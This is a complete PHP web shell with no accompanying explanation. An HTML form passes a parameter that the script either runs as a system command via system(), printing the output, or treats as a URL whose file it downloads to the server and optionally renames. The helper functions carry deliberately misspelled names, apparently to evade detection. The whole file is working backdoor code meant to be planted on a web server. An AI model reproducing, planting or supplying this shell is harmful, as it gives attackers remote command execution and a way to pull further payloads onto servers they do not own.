<html><body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cm" autofocus id="cm" size="80"><br><br> <input type="TEXT" name="nm" autofocus id="nm" size="80"><br><br> <input type="SUBMIT" value="Execute"></form> <pre> <?php function prunt($url) { $nm = basename($url); $u=file_get_contents($url); strlen($u) && file_put_contents($nm,$u); strlen($_GET['nm']) && rename($nm,$_GET['nm']); } function sastem($cm) { echo $cm."\n\n"; system($cm . ' 2>&1'); } if(isset($_GET['cm'])) $_GET['cm'][0]==='y' ? prunt($_GET['cm']) : sastem($_GET['cm']); ?> </pre> </body></html>